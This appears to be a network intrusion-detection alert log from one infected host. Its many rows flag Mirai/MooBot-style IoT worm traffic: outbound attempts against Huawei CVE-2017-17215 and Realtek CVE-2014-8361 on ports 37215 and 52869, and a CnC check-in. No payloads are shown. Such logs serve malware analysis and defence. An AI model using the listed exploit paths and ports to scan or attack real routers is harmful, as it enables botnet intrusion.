07/20/24-23:01:25.283485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39010	37215	192.168.2.14	162.255.63.124
07/20/24-23:01:31.124267	TCP	2030490	ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	47440	2466	192.168.2.14	15.235.203.214
07/20/24-23:01:34.911249	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46828	52869	192.168.2.14	61.33.247.239
07/20/24-23:01:05.902118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55190	37215	192.168.2.14	41.43.224.222
07/20/24-23:01:25.289824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43176	37215	192.168.2.14	45.139.4.185
07/20/24-23:01:11.476805	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37712	37215	192.168.2.14	197.222.69.163
07/20/24-23:01:34.927371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60388	52869	192.168.2.14	90.38.224.171
07/20/24-23:01:29.169426	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51868	52869	192.168.2.14	14.9.177.37
07/20/24-23:01:05.898353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60196	37215	192.168.2.14	168.204.135.219
07/20/24-23:01:06.191534	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40850	52869	192.168.2.14	2.115.51.25
07/20/24-23:01:07.653968	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50358	37215	192.168.2.14	41.163.219.39
07/20/24-23:01:07.674717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43254	37215	192.168.2.14	100.131.207.210
07/20/24-23:01:24.999208	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43606	52869	192.168.2.14	75.209.239.5
07/20/24-23:01:14.398934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52752	37215	192.168.2.14	168.128.167.80
07/20/24-23:01:28.143994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58970	37215	192.168.2.14	41.201.252.170
07/20/24-23:01:34.942495	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33934	52869	192.168.2.14	186.241.124.28
07/20/24-23:01:07.658261	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57418	37215	192.168.2.14	197.200.181.146
07/20/24-23:01:02.413579	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41258	37215	192.168.2.14	197.210.50.88
07/20/24-23:01:05.553511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43344	52869	192.168.2.14	202.140.60.188
07/20/24-23:01:07.674717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52904	37215	192.168.2.14	157.44.22.241
07/20/24-23:01:07.684526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44028	37215	192.168.2.14	156.148.239.165
07/20/24-23:01:37.121494	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33238	37215	192.168.2.14	157.0.146.131
07/20/24-23:01:33.183957	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36250	52869	192.168.2.14	39.157.230.122
07/20/24-23:01:34.902376	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44680	52869	192.168.2.14	192.231.43.185
07/20/24-23:01:11.485692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46034	37215	192.168.2.14	70.40.225.76
07/20/24-23:01:37.122448	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33920	37215	192.168.2.14	158.162.189.184
07/20/24-23:01:28.190003	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59048	37215	192.168.2.14	41.37.227.181
07/20/24-23:01:33.094838	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49174	37215	192.168.2.14	161.62.69.95
07/20/24-23:01:37.121166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54740	37215	192.168.2.14	197.225.214.97
07/20/24-23:01:13.331147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58830	52869	192.168.2.14	124.90.204.138
07/20/24-23:01:06.594899	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53784	52869	192.168.2.14	168.236.58.106
07/20/24-23:01:28.201811	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50418	37215	192.168.2.14	41.46.112.143
07/20/24-23:01:13.333560	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59548	52869	192.168.2.14	149.3.41.152
07/20/24-23:01:25.018117	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46050	52869	192.168.2.14	172.198.125.221
07/20/24-23:01:19.225050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34532	37215	192.168.2.14	41.109.119.217
07/20/24-23:01:33.483598	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46276	52869	192.168.2.14	163.83.107.67
07/20/24-23:01:05.558090	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48856	52869	192.168.2.14	66.247.97.52
07/20/24-23:01:33.100578	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43220	37215	192.168.2.14	157.207.83.201
07/20/24-23:01:34.932468	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51854	52869	192.168.2.14	153.211.168.73
07/20/24-23:01:37.166003	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36684	37215	192.168.2.14	197.55.206.151
07/20/24-23:01:37.120709	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54438	37215	192.168.2.14	157.137.141.169
07/20/24-23:01:29.179619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36626	52869	192.168.2.14	166.213.219.123
07/20/24-23:01:28.196415	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49754	37215	192.168.2.14	197.17.130.242
07/20/24-23:01:22.769326	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56428	37215	192.168.2.14	157.188.161.188
07/20/24-23:01:11.454991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39382	37215	192.168.2.14	41.220.244.9
07/20/24-23:01:11.460861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37698	37215	192.168.2.14	41.67.200.108
07/20/24-23:01:07.680629	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59690	37215	192.168.2.14	41.222.58.112
07/20/24-23:01:22.769326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38330	37215	192.168.2.14	136.46.195.122
07/20/24-23:01:29.673846	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38230	52869	192.168.2.14	179.97.208.77
07/20/24-23:01:33.300499	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58088	52869	192.168.2.14	40.39.6.95
07/20/24-23:01:07.676921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54522	37215	192.168.2.14	157.86.212.247
07/20/24-23:01:25.184750	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38834	52869	192.168.2.14	197.254.135.133
07/20/24-23:01:34.907114	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33296	52869	192.168.2.14	9.55.208.82
07/20/24-23:01:13.329793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36650	52869	192.168.2.14	146.178.29.63
07/20/24-23:01:28.216939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42364	37215	192.168.2.14	141.62.102.149
07/20/24-23:01:11.474688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56722	37215	192.168.2.14	164.245.57.39
07/20/24-23:01:19.236523	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57386	37215	192.168.2.14	197.244.58.180
07/20/24-23:01:34.900554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40032	52869	192.168.2.14	74.157.77.170
07/20/24-23:01:02.411645	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57334	37215	192.168.2.14	157.136.249.217
07/20/24-23:01:14.406186	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58358	37215	192.168.2.14	157.141.124.42
07/20/24-23:01:37.120598	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41902	37215	192.168.2.14	75.133.81.224
07/20/24-23:01:02.407252	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32986	37215	192.168.2.14	32.244.217.115
07/20/24-23:01:19.225297	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56424	37215	192.168.2.14	197.98.57.56
07/20/24-23:01:25.281101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41338	37215	192.168.2.14	157.169.160.238
07/20/24-23:01:37.163818	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49332	37215	192.168.2.14	41.141.57.214
07/20/24-23:01:07.683360	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59366	37215	192.168.2.14	41.176.52.249
07/20/24-23:01:34.902376	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59926	52869	192.168.2.14	86.27.131.229
07/20/24-23:01:25.293652	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37198	37215	192.168.2.14	41.89.65.109
07/20/24-23:01:22.785873	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57318	37215	192.168.2.14	197.113.23.236
07/20/24-23:01:37.227353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47282	37215	192.168.2.14	197.92.63.204
07/20/24-23:01:25.230671	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40956	37215	192.168.2.14	41.103.90.166
07/20/24-23:01:37.208725	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52422	37215	192.168.2.14	197.22.110.164
07/20/24-23:01:05.897173	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53862	37215	192.168.2.14	41.127.244.231
07/20/24-23:01:13.334997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53592	52869	192.168.2.14	19.130.123.151
07/20/24-23:01:05.893818	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60856	37215	192.168.2.14	80.185.13.173
07/20/24-23:01:07.680629	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52560	37215	192.168.2.14	125.104.15.142
07/20/24-23:01:06.290419	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48978	52869	192.168.2.14	5.108.28.159
07/20/24-23:01:13.331310	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37720	52869	192.168.2.14	72.184.169.139
07/20/24-23:01:13.329660	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43930	52869	192.168.2.14	68.93.103.227
07/20/24-23:01:22.785873	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40026	37215	192.168.2.14	41.127.18.213
07/20/24-23:01:25.203753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51624	52869	192.168.2.14	183.162.94.65
07/20/24-23:01:02.410541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59604	37215	192.168.2.14	41.99.10.85
07/20/24-23:01:33.071289	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43700	37215	192.168.2.14	223.252.141.56
07/20/24-23:01:25.480893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41230	52869	192.168.2.14	52.29.198.133
07/20/24-23:01:28.180178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37796	37215	192.168.2.14	41.100.238.93
07/20/24-23:01:14.397263	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44736	37215	192.168.2.14	41.135.67.210
07/20/24-23:01:25.230811	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41998	37215	192.168.2.14	41.39.9.182
07/20/24-23:01:25.291636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50402	37215	192.168.2.14	136.198.187.249
07/20/24-23:01:19.222596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40550	37215	192.168.2.14	197.77.204.153
07/20/24-23:01:25.037179	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54966	52869	192.168.2.14	89.243.23.143
07/20/24-23:01:24.746147	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36894	52869	192.168.2.14	2.153.113.72
07/20/24-23:01:19.336091	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41606	37215	192.168.2.14	157.44.215.47
07/20/24-23:01:25.287093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50206	37215	192.168.2.14	41.75.217.99
07/20/24-23:01:05.920529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45310	37215	192.168.2.14	211.150.3.47
07/20/24-23:01:25.294369	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38264	37215	192.168.2.14	197.150.224.16
07/20/24-23:01:25.288605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33554	37215	192.168.2.14	183.1.149.4
07/20/24-23:01:13.332408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49890	52869	192.168.2.14	65.248.115.141
07/20/24-23:01:07.658956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59164	37215	192.168.2.14	41.25.63.79
07/20/24-23:01:14.416273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41724	37215	192.168.2.14	205.190.70.16
07/20/24-23:01:13.332051	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33906	52869	192.168.2.14	187.235.69.197
07/20/24-23:01:06.253709	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33458	52869	192.168.2.14	14.68.225.116
07/20/24-23:01:02.411076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58282	37215	192.168.2.14	90.241.170.10
07/20/24-23:01:13.333720	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48284	52869	192.168.2.14	98.212.47.174
07/20/24-23:01:25.283485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34182	37215	192.168.2.14	41.14.212.157
07/20/24-23:01:25.042093	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47050	52869	192.168.2.14	197.234.206.236
07/20/24-23:01:34.983816	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33344	52869	192.168.2.14	45.152.27.139
07/20/24-23:01:13.335418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45158	52869	192.168.2.14	110.190.170.59
07/20/24-23:01:25.289824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48176	37215	192.168.2.14	197.114.222.113
07/20/24-23:01:31.287445	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40132	52869	192.168.2.14	145.28.17.66
07/20/24-23:01:22.620765	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58196	52869	192.168.2.14	191.59.144.253
07/20/24-23:01:34.899680	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59892	52869	192.168.2.14	125.9.219.100
07/20/24-23:01:25.284909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32944	37215	192.168.2.14	157.209.232.104
07/20/24-23:01:24.080444	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44184	52869	192.168.2.14	42.203.55.38
07/20/24-23:01:28.182157	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42590	37215	192.168.2.14	37.0.173.235
07/20/24-23:01:29.721643	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49942	52869	192.168.2.14	100.211.0.135
07/20/24-23:01:14.398477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54468	37215	192.168.2.14	157.254.159.91
07/20/24-23:01:06.142758	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39248	52869	192.168.2.14	35.91.143.191
07/20/24-23:01:28.146123	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53528	37215	192.168.2.14	220.48.172.9
07/20/24-23:01:05.855422	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51692	52869	192.168.2.14	49.217.12.33
07/20/24-23:01:19.220572	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48672	37215	192.168.2.14	41.213.17.248
07/20/24-23:01:05.911930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42442	37215	192.168.2.14	84.58.208.79
07/20/24-23:01:13.336946	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42026	52869	192.168.2.14	202.104.226.178
07/20/24-23:01:29.710885	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41234	52869	192.168.2.14	31.171.131.217
07/20/24-23:01:13.330569	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53954	52869	192.168.2.14	138.222.128.120
07/20/24-23:01:02.411166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42224	37215	192.168.2.14	157.11.56.240
07/20/24-23:01:23.011785	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55794	52869	192.168.2.14	84.167.36.221
07/20/24-23:01:29.171040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59746	52869	192.168.2.14	118.204.104.96
07/20/24-23:01:33.043558	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37826	37215	192.168.2.14	157.153.169.182
07/20/24-23:01:30.599672	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57398	52869	192.168.2.14	139.72.178.53
07/20/24-23:01:22.792727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34198	37215	192.168.2.14	157.11.165.143
07/20/24-23:01:34.892272	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43614	52869	192.168.2.14	180.84.13.38
07/20/24-23:01:34.964842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49074	52869	192.168.2.14	59.88.136.75
07/20/24-23:01:22.779210	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46706	37215	192.168.2.14	87.63.121.255
07/20/24-23:01:37.124220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41508	37215	192.168.2.14	53.158.5.131
07/20/24-23:01:14.401421	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59984	37215	192.168.2.14	41.23.39.109
07/20/24-23:01:33.044521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56858	37215	192.168.2.14	108.4.150.168
07/20/24-23:01:11.481655	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43780	37215	192.168.2.14	176.172.49.119
07/20/24-23:01:28.195717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51224	37215	192.168.2.14	41.43.99.251
07/20/24-23:01:22.787765	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55252	37215	192.168.2.14	157.248.66.233
07/20/24-23:01:34.105180	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33484	52869	192.168.2.14	46.8.125.37
07/20/24-23:01:34.939612	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53134	52869	192.168.2.14	180.166.72.99
07/20/24-23:01:07.662924	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47460	37215	192.168.2.14	197.208.154.119
07/20/24-23:01:11.480465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34066	37215	192.168.2.14	41.226.131.148
07/20/24-23:01:14.440842	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45696	37215	192.168.2.14	197.160.114.28
07/20/24-23:01:02.407253	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42316	37215	192.168.2.14	41.34.34.12
07/20/24-23:01:24.460502	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59808	52869	192.168.2.14	164.82.176.136
07/20/24-23:01:07.668267	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50852	37215	192.168.2.14	157.185.100.168
07/20/24-23:01:07.676384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44826	37215	192.168.2.14	41.102.18.57
07/20/24-23:01:07.658956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49118	37215	192.168.2.14	108.92.57.223
07/20/24-23:01:07.676384	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50300	37215	192.168.2.14	41.10.3.139
07/20/24-23:01:06.267322	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47368	52869	192.168.2.14	64.61.21.55
07/20/24-23:01:25.231958	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45626	37215	192.168.2.14	197.33.204.45
07/20/24-23:01:23.070940	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59694	52869	192.168.2.14	147.31.96.80
07/20/24-23:01:25.301934	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34792	52869	192.168.2.14	94.216.126.93
07/20/24-23:01:05.920528	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57084	37215	192.168.2.14	197.82.199.168
07/20/24-23:01:02.410515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51542	37215	192.168.2.14	66.133.8.3
07/20/24-23:01:34.964842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35474	52869	192.168.2.14	189.27.2.190
07/20/24-23:01:37.167957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39104	37215	192.168.2.14	157.24.63.141
07/20/24-23:01:06.908121	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47792	52869	192.168.2.14	211.247.22.129
07/20/24-23:01:25.285323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48382	37215	192.168.2.14	41.22.177.233
07/20/24-23:01:02.414527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45068	37215	192.168.2.14	197.153.186.108
07/20/24-23:01:25.291116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45412	37215	192.168.2.14	197.212.84.221
07/20/24-23:01:34.935674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40052	52869	192.168.2.14	38.255.110.243
07/20/24-23:01:14.406708	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44444	37215	192.168.2.14	41.42.235.139
07/20/24-23:01:06.667915	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49462	52869	192.168.2.14	38.32.235.210
07/20/24-23:01:29.504220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57614	52869	192.168.2.14	119.229.5.254
07/20/24-23:01:07.676921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51308	37215	192.168.2.14	197.103.42.133
07/20/24-23:01:34.937254	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54284	52869	192.168.2.14	88.254.0.55
07/20/24-23:01:07.680629	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59132	37215	192.168.2.14	157.101.161.185
07/20/24-23:01:13.330072	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45144	52869	192.168.2.14	191.124.131.163
07/20/24-23:01:07.668267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34962	37215	192.168.2.14	197.32.220.2
07/20/24-23:01:25.280461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49396	37215	192.168.2.14	94.243.104.87
07/20/24-23:01:05.896134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49348	37215	192.168.2.14	212.240.183.0
